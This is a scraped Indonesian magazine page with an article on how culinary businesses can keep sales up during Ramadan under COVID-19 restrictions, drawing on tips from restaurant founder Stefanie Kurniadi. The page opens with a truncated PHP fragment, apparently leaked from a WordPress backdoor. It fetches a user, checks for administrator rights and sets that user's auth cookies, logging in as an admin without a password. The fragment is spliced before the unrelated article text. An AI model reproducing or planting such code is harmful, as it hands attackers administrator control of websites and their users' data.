user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
BizNews
Inovasi Menciptakan Sales untuk Pebisnis Kuliner Selama Ramadan di Masa COVID19

5 May 2020


Foto: Pixabay


Sudah menjadi hal biasa bahwa ketika memasuki bulan puasa atau Ramadan, para pebisnis akan panen untung yang besar. Pedagang musiman banyak bermunculan. Baik yang menjual pakaian maupun penjual makanan. Tahun lalu saja, seperti dikutip dari katadata.co.id, Gabungan Pengusaha Makanan dan Minuman Indonesia (Gapmmi) menyatakan omzet penjualan industri pada Ramadan dan Lebaran 2019 diprediksi tumbuh 30%.
 
Berbeda dengan tahun lalu, Ramadan kali ini akan menjadi masa sulit bagi para pebisnis karena merebaknya wabah COVID-19. Dari survei Bisnis UKM Femina yang baru saja dirilis dan diikuti sekitar 200 UKM, diperoleh fakta yang cukup mengkhawatirkan. Lebih dari 70 persen responden mengaku kehilangan omzet hingga 80 persen! Social distancing atau Pembatasan Sosial Berskala Besar (PSBB) membuat restoran dan cafe tidak bisa menerima pelanggan makan di tempat. Belum lagi ekonomi yang melemah membuat banyak orang berpikir dua kali untuk konsumsi di hari Raya dan memilih lebih berhemat. 
 
Meski kondisi terlihat sulit, namun bukan berarti tidak ada peluang untuk mengembangkan bisnis kuliner. Justru di sinilah tantangan bagi pebisnis untuk bisa survive dan mengangkat bisnis mereka. Terbukti banyak yang berhasil melakukannya. Memang beberapa hal harus dilakukan, termasuk efisiensi. 
 
Stefanie Kurniadi, founder Upnormal dan Bakso Boedjangan serta Co-founder foodizz.id dalam acara talkshow virtual #WanwirSeries Bisnis Makanan Saat Ramadan - Trik Cepat Beradaptasi & Ciptakan Sales yang digelar femina beberapa waktu lalu mengatakan bahwa tidak selamanya masa krisis ini membawa dampak negatif untuk semua bisnis.
 
Stefanie mengungkapkan bahwa sekitar 40% store yang ia kelola saat ini memang harus tutup. Penyebabnya, selain mematuhi aturan pemerintah, juga karena justru semakin rugi bila tetap dibuka. Hasil penjualan tidak menutup biaya operasional harian.
 
Namun, sebagai pebisnis, Stefanie tidak pernah kekurangan ide untuk bisa tetap menjalankan bisnisnya. Salah satu upaya yang dilakukan adalah mengerahkan karyawan yang biasa melayani pada store yang kini tutup untuk melayani pemesanan secara online.
 
“Penjualan pada unit bisnis offline memang turun, tapi unit bisnis yang menggunakan sistem online justru naik,” tuturnya.
 
Selain efisiensi, Stefanie berbagi trik cepat adaptasi dan ciptakan sale di masa COVID-19: 
1/ Internal Campaign
Tetap jaga stabilitas internal dengan memberikan motivasi kepada tim atau karyawan bisa dilakukan secara virtual lewat aplikasi atau layanan video call. Manfaatkan tenaga internal atau tim untuk menjadi reseller beragam produk yang peminatnya masih tinggi seperti frozen food.  
Advertisement

 
2/ Lakukan Pivot Produk
Selama pandemi COVID-19 ada beberapa kebutuhan pasar yang hilang. Untuk itu pebisnis harus mempelajari kebutuhan konsumen saat ini dan menjawab kebutuhan pasar itu. Misalnya menyediakan produk take away yang bisa diambil oleh konsumen tanpa harus turun dari kendaraan. Bisa juga menghadirkan produk yang mudah dimasak di rumah. Cara lain adalah mengubah cara penyajian atau kemasan. Misalnya kopi yang selama ini disajikan dalam gelas, bisa diubah menjadi kemasan botol.   

 
3/ Stay Update
Ubah pola pikir tim bahwa improvement (perbaikan) harus dilakukan setiap hari supaya penjualan di hari berikutnya lebih banyak lagi.
Stefanie menambahkan bahwa pemasaran secara online memang pilihan terbaik untuk saat ini. Ia menjelaskan ada beberapa tipe pemasaran online, seperti sistem order dengan mengisi data, penjualan lewat market place, dan pemasaran lewat media sosial.
“Pelajari lebih dulu masing-masing tipe pemasaran itu. Dan coba salah satu dan fokus untuk melakukannya. Kunci sukses pemasaran online adalah konsistensi,” katanya. (f)



Baca Juga:
Pola Belanja Konsumen Berubah Selama Pandemi COVID19, Pemasaran Online Jadi Pilihan Tepat
Setelah Restrukturisasi Kredit, Pemerintah Tanggung Pajak UMKM Selama 6 Bulan
Blender Praktis Untuk Anda Yang Multitasking


 


Topic

#wanwirfemina, #corona, #wanwir

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?